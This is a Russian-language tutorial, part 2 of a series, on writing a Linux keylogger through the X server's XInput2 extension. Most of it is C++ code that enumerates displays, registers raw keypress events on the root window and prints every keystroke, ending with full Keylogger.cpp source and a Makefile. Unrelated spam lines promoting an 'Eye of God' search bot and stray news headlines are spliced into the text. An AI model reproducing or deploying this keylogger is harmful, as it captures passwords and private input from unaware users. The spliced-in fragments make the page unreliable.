Пишем кейлоггер на Linux: часть 2

Глаз Бога поиск

В Полном руководстве по кейлоггеру в Linux: часть 1 мы рассказали, как можно написать кейлоггер для Linux, считывая ввод непосредственно с клавиатуры. Сегодня мы рассмотрим немного другую технику захвата событий клавиатуры.

Стек графического интерфейса Linux

В отличие от других операционных систем графический интерфейс (graphical user interface, GUI) не является частью самой ОС Linux. Графическим интерфейсом управляет стек различных приложений, библиотек и протоколов. Общий стек выглядит примерно так:

+—————+ +————–+ | Display:2 |<–=—+ +—-=—>| WxWidget |—–+ +—————+ | | +————–+ | | | | +—————+ | | +————–+ | | Display:1 |<–=—+ +—-=—>| Qt |—–+ +—————+ | | +————–+ | | | | +—————+ | | +————–+ | | Display:0 |<–=—+ +—-=—>| GTK+ |—–+ +—————+ | | +————–+ | | | | | | | upd ate +————-+–+ —=—> +—–+——–+ send data | +——=–| X Server | | xlib |<————-=——+ | screen +—————-+ <–=—- +————–+ ask to repaint | ^ | | events | +———+—————-+ +–>| Linux Kernel | +————————–+

X-сервер находится между GUI и ОС, и отвечает за предоставление различных примитивов. X-сервер реализует парадигму «окна, значки, меню, указатель», которая является базой в системе графического интерфейса.

Протокол, понятный X-серверу, ориентирован на сеть (вы можете рисовать экран в абсолютно другой системе, а не в той, в которой запущено приложение) и является расширяемым по дизайну.

Наборы GUI-инструментов GTK, GTK+, Qt и т. д. используют различные библиотеки X-сервера для рисования различных элементов управления. Затем приложения используют библиотеки для разработки своих собственных пользовательских интерфейсов. Как правило, приложения будут работать в среде рабочего стола, которая реализует «традиционные» элементы (лаунчер, обои и т. д.) и элементы управления (drag-and-drop перетаскивание и т.д.).

Терминология X-сервера

Поскольку X-сервер использует неинтуитивные термины, мы рассмотрим некоторые из них:

  • **display** (дисплей) — сам X-сервер;
  • **screen** (экран) — виртуальный фреймбуфер, связанный с «дисплеем». Дисплей может иметь более одного экрана;
  • **monitor** (монитор) — ваш физический монитор, на котором будет отображаться фреймбуфер. Как правило, экран будет сопоставлен с одним монитором. Можно использовать 2 монитора с одинаковым экраном или 2 небольших монитора как один большой экран (разные части экрана попадают на разные мониторы);
  • **root window** (корневое окно) — окно, в котором отображается все остальное. Это корневой узел дерева окон;
  • **virtual core device** (виртуальное основное устройство) — X-сервер всегда будет иметь 2 виртуальных основных (главных) устройства: мышь и клавиатуру. Они предназначены для предоставления основных действий в диапазоне разрешения экрана:
    • Пользователь, который зарегистрировался для событий XInput Extension, будет получать события в своем родном разрешении;
    • Пользователь, который напрямую открыл физические (подчиненные) устройства и зарегистрировался для событий, не получит основные события. Подчиненное устройство не может генерировать основные события.
  Автовладельцы по всей Европе могут столкнуться с утечкой личных данных из-за атаки хакеров

Кейлоггинг в X-сервере

Основной способ захвата ввода выглядит следующим образом:

  • Проверка запуска X-сервера;
  • Перечисление доступных дисплеев;
  • Выбор нужного дисплея;
  • Проверка доступности XInputExtension;
  • Установка маски события для включения событий нажатий клавиш;
  • Чтение событий с дисплея в цикле.

Перечисление дисплеев

Во время работы X-сервер создает файлы сокетов в «/tmp/.X11-unix/» для каждого дисплея. Имена файлов соответствуют общему шаблону « X <цифры> », где «:<цифры>» будет отображаемым именем.

Мы можем пронумеровать этот путь и попытаться открыть доступные дисплеи. Так мы убедимся, что файлы сокетов действительно с X-сервера.

Пример кода для перечисления выглядит следующим образом:

std::vector<std::string> EnumerateDisplay() { std::vector<std::string> displays; for (auto &p : std::filesystem::directory_iterator(“/tmp/.X11-unix”)) { std::string path = p.path().filename().string(); std::string display_name = “:”; if (path[0] != ‘X’) continue; path.erase(0, 1); display_name.append(path); Display *disp = XOpenDisplay(display_name.c_str()); if (disp != NULL) { int count = XScreenCount(disp); printf(“Display %s has %d screensn”, display_name.c_str(), count); int i; for (i=0; i<count; i++) printf(” %d: %dx%dn”, i, XDisplayWidth(disp, i), XDisplayHeight(disp, i)); XCloseDisplay(disp); displays.push_back(display_name); } } return displays; }

Мы перечислили экраны и их размеры для каждого обнаруженного дисплея. Если выполнить код, то он покажет:

Display :0 has 1 screens 0: 1920×1080

С дисплеем связан только 1 экран с разрешением 1920×1080.

Обнаружение XInputExtension

Мы можем использовать XQueryExtension для проверки доступности расширения на выбранном дисплее. Поскольку расширения могут изменить свое поведение в будущем, нужно ограничиться конкретными версиями, в которых мы протестируем наш код. В этом примере мы будем придерживаться версии 2.0 XInputExtension.

Фрагмент кода для проверки выглядит следующим образом:

// Set up X Display * disp = XOpenDisplay(hostname); if (NULL == disp) { std::cerr << “Cannot open X display: ” << hostname << std::endl; exit(1); } // Test for XInput 2 extension int xiOpcode, queryEvent, queryError; if (! XQueryExtension(disp, “XInputExtension”, &xiOpcode, &queryEvent, &queryError)) { std::cerr <<“X Input extension not available” << std::endl; exit(2); } // Request XInput 2.0, guarding against changes in future versions int major = 2, minor = 0; int queryResult = XIQueryVersion(disp, &major, &minor); if (queryResult == BadRequest) { std::cerr << “Need XI 2.0 support (got ” << major << “.” << minor << std::endl; exit(3); } else if (queryResult != Success) { std::cerr << “Internal error” << std::endl; exit(4); }

Бот Глаз Бога ссылка

Регистрация событий

Чтобы получить определенные события от X-сервера, мы должны сообщить ему интересующие нас события с помощью маски события. Маска определяется следующим образом:

  Киберэксперт назвал ТОП-5 новогодних мошеннических схем

typedef struct { int deviceid; int mask_len; unsigned char* mask; } XIEventMask;

  • Если deviceid является допустимым устройством, то маска события выбирается только для этого устройства;
  • Если идентификатор устройства равен XIAllDevices, то маска события выбирается для всех устройств;
  • Если идентификатор устройства равен XIAllMasterDevices, то маска события выбирается для всех главных устройств.

Эффективная маска событий представляет собой побитовое ИЛИ XIAllDevices, XIAllMasterDevices и маски событий соответствующего устройства. Параметр mask_len определяет длину маски в байтах. Mask — это бинарная маска в виде «1 << тип события».

Маска может быть установлена следующим образом:

Window root = DefaultRootWindow(disp); XIEventMask m; m.deviceid = XIAllMasterDevices; m.mask_len = XIMaskLen(XI_LASTEVENT); m.mask = (unsigned char*)calloc(m.mask_len, sizeof(char)); XISetMask(m.mask, XI_RawKeyPress); XISetMask(m.mask, XI_RawKeyRelease); XISelectEvents(disp, root, &m, 1); XSync(disp, false); free(m.mask);

Чтение событий

Данные события поступают в объект «XGenericEventCookie», который определяется так:

typedef struct { int type; unsigned long serial; Bool send_event; Display *display; int extension; int evtype; unsigned int cookie; void *data; } XGenericEventCookie;

Для событий клавиатуры:

  • «type» станет _GenericEvent_;
  • «extension» станет _xiOpcode_;
  • «evtype» будет _XI_RawKeyRelease_ или _XI_RawKeyPress_;
  • «data» будут указывать на объект «XIRawEvent».

Чтобы прочитать события, нам нужно сделать следующее в цикле:

  • Выбрать событие с помощью «XNextEvent()»;
  • Убедиться, что выбранное событие предназначено для предполагаемого события (путем проверки значений полей);
  • Прочитать данные о событии.

Код для цикла выглядит следующим образом:

while (true) { XEvent event; XGenericEventCookie *cookie = (XGenericEventCookie*)&event.xcookie; XNextEvent(disp, &event); if (XGetEventData(disp, cookie) && cookie->type == GenericEvent && cookie->extension == xiOpcode) { switch (cookie->evtype) { case XI_RawKeyRelease: case XI_RawKeyPress: { XIRawEvent *ev = (XIRawEvent*)cookie->data; // Ask X what it calls that key KeySym s = XkbKeycodeToKeysym(disp, ev->detail, 0, 0); if (NoSymbol == s) continue; char *str = XKeysymToString(s); if (NULL == str) continue; std::cout << (cookie->evtype == XI_RawKeyPress ? “+” : “-“) << str << ” ” << std::flush; break; } } } }

Если сравнить этот код с кодом кейлоггера из 1 части статьи, то можно увидеть, что нам не нужно вручную сопоставлять коды сканирования с фактическими клавишами на клавиатуре. X-сервер самостоятельно сопоставляет код сканирования с клавишами на текущей раскладке.

Полный код

Для полноты картины представим код целиком:

Keylogger.cpp

#include <X11/XKBlib.h> #include <X11/extensions/XInput2.h> #include #include #include #include #include #include int printUsage(std::string application_name) { std::cout << “USAGE: ” << application_name << ” [-display ] [-enumerate] [-help]” << std::endl; std::cout << “display target X display (default :0)” << std::endl; std::cout << “enumerate enumerate all X11 displays” << std::endl; std::cout << “help print this information and exit” << std::endl; exit(0); } std::vector EnumerateDisplay() { std::vector displays; for (auto &p : std::filesystem::directory_iterator(“/tmp/.X11-unix”)) { std::string path = p.path().filename().string(); std::string display_name = “:”; if (path[0] != ‘X’) continue; path.erase(0, 1); display_name.append(path); Display *disp = XOpenDisplay(display_name.c_str()); if (disp != NULL) { int count = XScreenCount(disp); printf(“Display %s has %d screensn”, display_name.c_str(), count); int i; for (i=0; i<count; i++) printf(" %d: %dx%dn", i, XDisplayWidth(disp, i), XDisplayHeight(disp, i)); XCloseDisplay(disp); displays.push_back(display_name); } } return displays; } int main(int argc, char * argv[]) { const char * hostname = “:0”; // Get arguments for (int i = 1; i < argc; i++) { if (!strcmp(argv[i], "-help")) printUsage(argv[0]); else if (!strcmp(argv[i], "-display")) hostname = argv[++i]; else if (!strcmp(argv[i], "-enumerate")) { EnumerateDisplay(); return 0; } else { std::cerr << "Unknown argument: " << argv[i] << std::endl; printUsage(argv[0]); } } // Se t up X Display * disp = XOpenDisplay(hostname); if (NULL == disp) { std::cerr << "Cannot open X display: " << hostname << std::endl; exit(1); } // Test for XInput 2 extension int xiOpcode, queryEvent, queryError; if (! XQueryExtension(disp, "XInputExtension", &xiOpcode, &queryEvent, &queryError)) { std::cerr << "X Input extension not available" << std::endl; exit(2); } { // Request XInput 2.0, guarding against changes in future versions int major = 2, minor = 0; int queryResult = XIQueryVersion(disp, &major, &minor); if (queryResult == BadRequest) { std::cerr << "Need XI 2.0 support (got " << major << "." << minor << std::endl; exit(3); } else if (queryResult != Success) { std::cerr << "Internal error" << std::endl; exit(4); } } // Register events Window root = DefaultRootWindow(disp); XIEventMask m; m.deviceid = XIAllMasterDevices; m.mask_len = XIMaskLen(XI_LASTEVENT); m.mask = (unsigned char*)calloc(m.mask_len, sizeof(char)); XISetMask(m.mask, XI_RawKeyPress); XISetMask(m.mask, XI_RawKeyRelease); XISelectEvents(disp, root, &m, 1); XSync(disp, false); free(m.mask); while (true) { XEvent event; XGenericEventCookie *cookie = (XGenericEventCookie*)&event.xcookie; XNextEvent(disp, &event); if (XGetEventData(disp, cookie) && cookie->type == GenericEvent && cookie->extension == xiOpcode) { switch (cookie->evtype) { case XI_RawKeyRelease: case XI_RawKeyPress: { XIRawEvent *ev = (XIRawEvent*)cookie->data; // Ask X what it calls that key KeySym s = XkbKeycodeToKeysym(disp, ev->detail, 0, 0); if (NoSymbol == s) continue; char *str = XKeysymToString(s); if (NULL == str) continue; std::cout << (cookie->evtype == XI_RawKeyPress ? “+” : “-“) << str << ” ” << std::flush; break; } } } } }

  Эксперты НТИ рассказали, откуда мошенники могут брать образцы голосов для обмана пользователей

Makefile

keylogger: keylogger.cpp $(CXX) –std=c++17 -pedantic -Wall -lX11 -lXi -o keylogger keylogger.cpp -O0 -ggdb clean: rm –force keylogger

Где кванты и ИИ становятся искусством?

На перекрестке науки и фантазии — наш канал

Подписаться

Добавить комментарий

Вернуться наверх